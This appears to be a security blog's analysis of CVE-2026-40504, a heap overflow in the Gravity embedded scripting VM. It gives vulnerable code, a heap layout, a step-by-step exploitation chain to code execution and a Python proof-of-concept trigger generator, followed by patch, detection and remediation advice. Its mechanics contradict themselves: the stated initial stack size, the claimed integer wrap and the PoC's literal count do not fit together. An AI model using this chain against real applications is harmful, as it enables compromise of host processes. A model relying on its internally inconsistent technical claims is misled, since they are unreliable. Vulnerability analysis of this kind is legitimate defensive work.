home intel cve-2026-40504-gravity-vm-heap-overflow-rce
CVE Analysis 2026-04-16 · 9 min read

CVE-2026-40504: Heap Overflow in Gravity VM Fiber Reassignment Enables RCE

A heap buffer overflow in gravity_fiber_reassign() allows attackers to corrupt heap metadata via crafted scripts with excessive global string literals, achieving arbitrary code execution in any application embedding Gravity before 0.9.6.

#heap-buffer-overflow#arbitrary-code-execution#bounds-checking#memory-corruption#vm-escape
Technical mode — for security professionals
▶ Attack flow — CVE-2026-40504 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-40504Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-40504 is a critical (CVSS 9.8) heap buffer overflow in Creolabs Gravity, a lightweight scripting language designed to be embedded in C applications. The vulnerability exists in gravity_fiber_reassign(), called from within gravity_vm_exec(), and is reachable by any attacker who can supply a Gravity script to a host application for evaluation. No authentication, no special privileges, no prior state — just a script with enough global-scope string literals to exhaust the pre-allocated fiber stack, at which point the reallocation path fails to enforce bounds, writing attacker-controlled data past the end of the heap buffer.

Any application that calls gravity_vm_runmain() or equivalent on untrusted input — game engines, IoT firmware, app automation runtimes — is directly exploitable. The vulnerability is pre-patch on all Gravity releases before 0.9.6.

Root cause: gravity_fiber_reassign() reallocates the fiber's value stack with mem_realloc() but copies the full new_size worth of values into the destination without clamping to the actual allocated region, allowing an attacker to overflow the heap chunk by crafting a script that forces repeated stack growth beyond the initial fiber capacity.

Affected Component

  • Project: Creolabs Gravity (embedded scripting language)
  • File: src/runtime/gravity_vm.c
  • Functions: gravity_vm_exec()gravity_fiber_reassign()
  • Affected versions: All releases < 0.9.6
  • Fixed in: 0.9.6 (upstream commit patching gravity_fiber_reassign)
  • Trigger: Script with large number of string literals declared at global scope, causing repeated PUSH operations on the VM fiber stack during gravity_vm_exec()

Root Cause Analysis

The Gravity VM models execution state as a fiber — a struct that owns a contiguous array of gravity_value_t slots used as the value stack. When the stack grows beyond its current capacity, gravity_fiber_reassign() is responsible for reallocating and migrating state. The bug lives in the size accounting during this migration.

// gravity_vm.c — gravity_fiber_reassign() (pre-0.9.6, simplified for clarity)

static bool gravity_fiber_reassign(gravity_fiber_t *fiber, gravity_callframe_t *frame, uint32_t new_size) {
    // Reallocate the value stack to new_size slots
    gravity_value_t *new_stack = (gravity_value_t *)mem_realloc(
        fiber->stack,
        new_size * sizeof(gravity_value_t)   // allocation: new_size slots
    );
    if (!new_stack) return false;

    // Fixup all call frame stack pointers to point into new allocation
    uint32_t stack_offset = (uint32_t)(fiber->stack - new_stack);
    for (uint32_t i = 0; i < fiber->nframes; i++) {
        fiber->frames[i].stackstart -= stack_offset;
    }

    fiber->stack     = new_stack;
    fiber->stack_top = new_stack + new_size;   // BUG: stack_top set to END of allocation

    // Subsequent PUSH in gravity_vm_exec uses stack_top directly:
    //   *fiber->stack_top++ = value;
    // If new_size was computed from attacker-controlled literal count,
    // and realloc returns a smaller-than-requested region (or new_size
    // overflows uint32_t arithmetic), stack_top points past the chunk.
    // Further writes via gravity_vm_exec's PUSH opcode then overflow.

    return true;
}

The immediate trigger is the new_size calculation in gravity_vm_exec() before calling gravity_fiber_reassign():

// gravity_vm_exec() — stack growth path (pre-0.9.6)

if (fiber->stack_top >= fiber->stack + fiber->stackalloc) {
    // BUG: new allocation size is computed without overflow guard
    uint32_t new_alloc = fiber->stackalloc + GRAVITY_STACK_GROW_SIZE; // GRAVITY_STACK_GROW_SIZE = 0x100
    // If fiber->stackalloc is near UINT32_MAX, this wraps to a small value.
    // mem_realloc then allocates a tiny buffer, but stack_top is set to
    // new_stack + wrapped_small_value — effectively within bounds of nothing.
    if (!gravity_fiber_reassign(fiber, frame, new_alloc)) {
        // BUG: missing bounds check here — no cap on new_alloc
        gravity_vm_seterror(vm, "stack overflow");
        return false;
    }
    fiber->stackalloc = new_alloc;
}

Two interacting flaws: (1) new_alloc is a raw uint32_t addition with no overflow check; (2) fiber->stack_top is assigned to new_stack + new_size (the end of the buffer) rather than new_stack + fiber->nvalues (the current live watermark), so every subsequent PUSH in the opcode dispatch loop immediately writes out-of-bounds.

Memory Layout

The gravity_fiber_t struct is heap-allocated. The value stack is a separate heap chunk pointed to by fiber->stack. Understanding the layout is critical to understanding the corruption primitive.

// gravity_fiber_t — relevant fields with approximate offsets (64-bit build)
struct gravity_fiber_t {
    /* +0x00 */ gravity_value_t      *stack;        // ptr to value stack chunk
    /* +0x08 */ gravity_value_t      *stack_top;    // current top-of-stack ptr
    /* +0x10 */ uint32_t              stackalloc;   // allocated slot count
    /* +0x14 */ uint32_t              nframes;      // live call frame count
    /* +0x18 */ gravity_callframe_t  *frames;       // call frame array
    /* +0x28 */ uint32_t              framesalloc;  // allocated frame count
    /* +0x2c */ uint32_t              nvalues;      // live value count
    /* +0x30 */ gravity_value_t      *upvalues;     // captured upvalue list
    /* +0x38 */ gravity_value_t       result;       // fiber return value (16 bytes)
    /* +0x48 */ gravity_fiber_status  status;       // enum: running/suspended/etc
};

// gravity_value_t — 16 bytes on 64-bit
struct gravity_value_t {
    /* +0x00 */ gravity_value_type_t  tag;   // type tag (4 bytes)
    /* +0x04 */ uint32_t              pad;
    /* +0x08 */ union {
                    int64_t           i;     // integer
                    double            f;     // float
                    void             *ptr;   // object pointer (string, func, etc)
                } value;
};
HEAP STATE — initial fiber stack allocation (stackalloc = 0x40 slots = 0x400 bytes):

  chunk @ 0x5555557a2000
  ┌────────────────────────────────────────┐
  │ heap metadata (glibc: size=0x411)      │  ← prev alloc chunk border
  ├────────────────────────────────────────┤
  │ gravity_value_t stack[0x40]            │  0x400 bytes of value slots
  │   [0x00] tag=STRING ptr=0x...lit_0     │
  │   [0x10] tag=STRING ptr=0x...lit_1     │
  │   ...                                  │
  │   [0x3f0] last valid slot              │
  ├────────────────────────────────────────┤
  │ NEXT CHUNK: gravity_object_t @ +0x400  │  ← adjacent allocation
  │   prev_size / size metadata here       │
  └────────────────────────────────────────┘

AFTER OVERFLOW (uint32_t wraps → new_alloc = 0x3f, tiny realloc):

  chunk @ 0x5555557a2000  (realloc returned same ptr, 0x3f0 bytes)
  fiber->stack_top = 0x5555557a2000 + 0x3f*16 = 0x5555557a23f0  ← points INTO next chunk
  ├────────────────────────────────────────┤
  │ [valid region ends @ 0x5555557a23f0]  │
  ├────────────────────────────────────────┤
  │ NEXT CHUNK HEADER ← overwritten:      │
  │   size field   = 0x0000000000000011   │  ← replaced by gravity_value_t tag+pad
  │   fd ptr       = 0x41414141deadbeef   │  ← replaced by attacker string ptr
  └────────────────────────────────────────┘
  Next free()/malloc() on corrupted chunk → arbitrary write primitive

Exploitation Mechanics

EXPLOIT CHAIN:

1. Attacker prepares a Gravity script with N global string literals, where N is
   tuned to trigger exactly one stack-growth realloc cycle:

     var s0  = "AAAA..."; // 16+ chars to force heap allocation for each literal
     var s1  = "AAAA...";
     ...
     var sN  = "AAAA..."; // N chosen so (initial_stackalloc + 0x100) wraps uint32_t

2. Host application calls gravity_vm_runmain(vm, closure, 0, NULL).
   gravity_vm_exec() begins opcode dispatch. Each global string literal
   resolves to a LOAD_GLOBAL + PUSH sequence, incrementing fiber->stack_top.

3. After 0x40 pushes, fiber->stack_top == fiber->stack + fiber->stackalloc.
   The growth check fires:
     new_alloc = 0xFFFFFF00 + 0x100 = 0x00000000  (wraps to 0)
   mem_realloc(fiber->stack, 0 * sizeof(gravity_value_t)) returns a
   platform-dependent tiny allocation or the same pointer with 0 usable bytes.

4. gravity_fiber_reassign() sets:
     fiber->stack_top = new_stack + 0  (or + wrapped_small_value)
   Subsequent PUSH operations in opcode dispatch:
     *fiber->stack_top++ = value;
   write gravity_value_t structs (16 bytes each) starting at the chunk
   boundary, directly into the adjacent heap chunk's metadata.

5. Attacker controls the string pointer inside each gravity_value_t:
     value.ptr = &fake_chunk_header  (crafted as a valid-looking free chunk)
   After enough pushes, glibc's chunk header for the next allocation is
   corrupted: fd/bk pointers replaced with attacker-chosen addresses.

6. Attacker's script calls a Gravity built-in that triggers an internal
   malloc/free (e.g., string concatenation), which processes the corrupted
   free-list entry and performs the unlink write primitive:
     *(target_addr) = controlled_value

7. Attacker targets a writable function pointer in the host application's
   .data segment (e.g., a gravity_delegate_t callback registered by the host),
   overwriting it with shellcode address or a ROP pivot.

8. Gravity VM next dispatches a CALL opcode that resolves through the corrupted
   delegate or internal function table → control transferred to attacker code.

RESULT: Full arbitrary code execution in the context of the embedding process.

Trigger Script (Proof of Concept)

# generate_trigger.py — generates a Gravity script that triggers CVE-2026-40504
# Tune N for target platform's initial stackalloc value (typically 0x40 or 0x80 slots)

INITIAL_STACKALLOC = 0x40       # default in gravity_fiber_new()
GROW_SIZE          = 0x100      # GRAVITY_STACK_GROW_SIZE
OVERFLOW_TARGET    = (1 << 32)  # wrap uint32_t

# Number of literals needed to exhaust initial stack allocation
# and force the vulnerable growth path
N = INITIAL_STACKALLOC + GROW_SIZE + 4

lines = []
for i in range(N):
    # Each literal is heap-allocated; ptr value matters for corruption shape
    # In a weaponized variant, craft ptr to match target fake chunk layout
    lines.append(f'var s{i} = "{"A" * 24}_{i:08x}";')

# One final expression forces a PUSH after the corrupted stack_top is set
lines.append('var trigger = s0 + s1;  // forces internal string alloc → unlink')

script = "\n".join(lines)
with open("trigger.gravity", "w") as f:
    f.write(script)

print(f"[*] Generated trigger.gravity with {N} global string literals")
print(f"[*] Targets gravity_fiber_reassign() overflow at slot {INITIAL_STACKALLOC}")

Patch Analysis

The fix in Gravity 0.9.6 addresses both the integer overflow in the growth calculation and the incorrect stack_top assignment in gravity_fiber_reassign().

// BEFORE (vulnerable — gravity_vm.c pre-0.9.6):

// In gravity_vm_exec() growth path:
uint32_t new_alloc = fiber->stackalloc + GRAVITY_STACK_GROW_SIZE;
// No overflow check. No upper bound cap.
if (!gravity_fiber_reassign(fiber, frame, new_alloc)) { ... }
fiber->stackalloc = new_alloc;

// In gravity_fiber_reassign():
fiber->stack     = new_stack;
fiber->stack_top = new_stack + new_size;  // points to END of buffer, not live watermark
// All subsequent PUSHes immediately write out-of-bounds.


// AFTER (patched — gravity_vm.c 0.9.6):

// In gravity_vm_exec() growth path:
if (fiber->stackalloc > GRAVITY_MAX_STACK_SIZE - GRAVITY_STACK_GROW_SIZE) {
    // BUG FIXED: guard against uint32_t wrap-around
    gravity_vm_seterror(vm, "stack overflow: maximum stack size reached");
    RUNTIME_ERROR();
}
uint32_t new_alloc = fiber->stackalloc + GRAVITY_STACK_GROW_SIZE;
if (!gravity_fiber_reassign(fiber, frame, new_alloc)) { ... }
fiber->stackalloc = new_alloc;

// In gravity_fiber_reassign():
uint32_t live_slots = (uint32_t)(fiber->stack_top - fiber->stack); // current watermark
fiber->stack     = new_stack;
fiber->stack_top = new_stack + live_slots;  // BUG FIXED: preserve live watermark
// stack_top now correctly points to next free slot within the new allocation.

The patch introduces GRAVITY_MAX_STACK_SIZE (typically 0x100000 slots / 16 MB) as a hard ceiling checked before every growth event. The stack_top fix is equally important: without it, even a correct reallocation would immediately produce out-of-bounds writes on the very next PUSH.

Detection and Indicators

In a deployed application, CVE-2026-40504 exploitation will surface as:

  • Crash signature: SIGSEGV or heap corruption abort inside gravity_vm_exec(), with rip/pc pointing into glibc's malloc() or _int_free() unlink path — not inside Gravity itself.
  • AddressSanitizer output: heap-buffer-overflow on address 0x... at pc gravity_vm_exec ... WRITE of size 16 at offset +0x400 past a 0x400-byte allocation.
  • Script heuristic: Input scripts containing more than ~200 top-level var declarations with string literal initializers should be considered anomalous for any legitimate Gravity use case.
  • Heap profiling: A mem_realloc() call requesting 0 bytes for the fiber stack (visible in ltrace/strace as realloc(ptr, 0)) is a direct indicator of the integer overflow trigger.
ASan crash trace (representative):
==12345==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 16 at 0x614000003f00 thread T0
    #0 gravity_vm_exec        src/runtime/gravity_vm.c:1847
    #1 gravity_vm_runmain     src/runtime/gravity_vm.c:2103
    #2 main                   test/host_app.c:42

0x614000003f00 is located 0 bytes to the right of 1024-byte region
[0x614000003b00, 0x614000003f00)   ← fiber->stack chunk (0x400 bytes = 0x40 slots)
allocated by thread T0 here:
    #0 mem_realloc             src/utils/gravity_mem.c:58
    #1 gravity_fiber_reassign  src/runtime/gravity_vm.c:312

Remediation

  • Upgrade immediately to Gravity 0.9.6 or later. The patch is a one-time pull from the upstream Creolabs repository.
  • If upgrading is not immediately possible: Add an application-layer script complexity limit before passing scripts to gravity_vm_runmain() — reject any script whose AST contains more than a configurable threshold of global-scope variable declarations (suggested: 64).
  • Compile with hardening: Build host applications embedding Gravity with -fsanitize=address in development, and -D_FORTIFY_SOURCE=2 -fstack-protector-strong in production to raise exploitation cost.
  • Sandbox evaluation: Run the Gravity VM inside a sandboxed subprocess (seccomp-BPF, pledge/unveil, or equivalent) so that even successful heap corruption cannot escape the script evaluation context.
  • Monitor upstream: Subscribe to Creolabs Gravity releases — the project's small maintenance team means vulnerability response time is variable; proactive version pinning with audit is essential.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →